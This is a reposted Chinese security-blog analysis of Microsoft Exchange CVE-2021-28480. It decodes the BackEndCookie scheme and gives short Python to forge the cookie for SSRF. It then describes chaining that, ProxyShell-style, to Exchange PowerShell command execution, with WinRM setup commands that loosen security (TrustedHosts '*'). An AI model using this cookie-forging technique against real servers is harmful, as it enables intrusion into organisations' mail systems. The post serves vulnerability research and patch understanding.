Exchange CVE-2021-28480 分析复现

admin 2022年6月30日23:52:39评论51 views字数 2409阅读8分1秒阅读模式

更多全球网络安全资讯尽在邑安全

2021年04月14日,360CERT监测发现Microsoft发布了Exchange 安全更新的通告,本次安全更新修复了四个蠕虫级别的远程命令执行漏洞。漏洞编号为CVE-2021-28480,CVE-2021-28481,CVE-2021-28482,CVE-2021-28483,漏洞等级:严重,漏洞评分:9.8。

分析:
补丁对比:补丁更改了部分代码,和26855一样 添加了对于fqdn的验证
Exchange CVE-2021-28480 分析复现
通过研究代码,对比数据 ,发现访问某些位置的时候会生成BackendCookie,用来指定fqdn 这就和CVE-2021-26855有些相似了
Exchange CVE-2021-28480 分析复现
这里的cookie是 由BackEndCookieEntryPaser.TryParse()方法进行处理

Exchange CVE-2021-28480 分析复现
我们在这里进行断点,能截取到填入的加密值
Exchange CVE-2021-28480 分析复现
由于我们是通过Anoymous的方式进行的访问,所以name的名字为Anonymous.

进入到TryParse方法
Exchange CVE-2021-28480 分析复现
通过 UnObscurify 方法进行解码
Exchange CVE-2021-28480 分析复现
进行了base64解码并异或解码

将这里的代码翻译成python 代码为

def code(str):
s=base64.b64decode(str)
array = list()
for i in s:
array.append(i ^ 255)
print("".join(list(map(chr,array))))

这里解密出来的形式为:Server~WIN-64V4EOC0M9F.test.com~1941997017~2022-03-30T03:19:43

Exchange CVE-2021-28480 分析复现
当第一个参数为Server时 会将第二个参数作为Fqdn传入
而中间的
WIN-64V4EOC0M9F.test.com跟Proxylogon一样 我们就可以进行修改
修改后 就会得到下面这样
Exchange CVE-2021-28480 分析复现
但是,不是每个链接都能利用这个cookie
要处理它,有必要找到 BEServerCookieProxyRequestHandler 类的继承者
● AnonymousCalendarProxyRequestHandler
● ComplianceServiceProxyRequestHandler
● EwsAutodiscoverProxyRequestHandler
● MailboxDeliveryProxyRequestHandler
● MapiProxyRequestHandler
● MicroServiceProxyRequestHandler
● MrsProxyRequestHandler
● OabProxyRequestHandler

而且 owa ecp的处理代码中会有一个方法RedirectIfNeeded进行判断fqdn是否存在

Exchange CVE-2021-28480 分析复现
我们最后选择使用 AnonymousCalendarProxyRequestHandler 来进行模拟
通过代码 找到他的加密代码Obscurify()

Exchange CVE-2021-28480 分析复现
改为python代码为

def encode():
bytes = list(map(ord,"Server~WIN-64V4EOC0M9F.test.com/mapi/nspi?~1941997017~2022-04-21T07:36:07"))
array = list()
for i in bytes:
array.append(i ^ 255)
print(base64.b64encode(bytearray(array)).decode())

访问后成功ssrf

Exchange CVE-2021-28480 分析复现

但是,在CVE-2021-26855以后,微软添加了另一部分代码来预防此类ssrf

Exchange CVE-2021-28480 分析复现


他对比了fqdn以及host来验证是否为ssrf,因此在打了CVE-2021-26855补丁后,我未能成功ssrf,能指定任意target,但是不能绕过到其他位置,会显示Service Unavailable

Exchange CVE-2021-28480 分析复现


因此后面的研究我的环境改为了没打三月份补丁前的机器
参照CVE-2021-34473的利用方式
获取sid并生成token来访问到exchange powershell 并执行命令

Exchange CVE-2021-28480 分析复现


也可以搭建Flask 代理到本地执行命令
代码可参考:
https://gist.githubusercontent.com/zdi-team/087026b241df18102db699fe4a3d9282/raw/ab4e1ecb6e0234c2e319bc229c71f2f4f70b55d9/P2O-Vancouver-2021-ProxyShell-snippet-7.py
需要设置
(1)设置网络位置
不能选择Public network,需要Home network或者Work network。
(2)设置管理员用户的密码
确保管理员用户设置了密码
(3)开启winrm服务
winrm quickconfig
(4)修改allowunencrypted属性
Powershell命令如下:
cd WSMan:localhostClient set-item .allowunencrypted $true dir
(5)设置TrustedHosts
Powershell命令如下:
Get-Item WSMan:localhostClientTrustedHosts Set-Item WSMan:localhostClientTrustedHosts -Value '*'
以上设置完成后,能够建立PowerShell会话并执行Exchange PowerShell命令。

Exchange CVE-2021-28480 分析复现

原文来自: xz.aliyun.com

原文链接: https://xz.aliyun.com/t/11437

欢迎收藏并分享朋友圈,让五邑人网络更安全

Exchange CVE-2021-28480 分析复现

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!


推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 



原文始发于微信公众号(邑安全):Exchange CVE-2021-28480 分析复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月30日23:52:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Exchange CVE-2021-28480 分析复现https://cn-sec.com/archives/1134684.html

发表评论

匿名网友 填写信息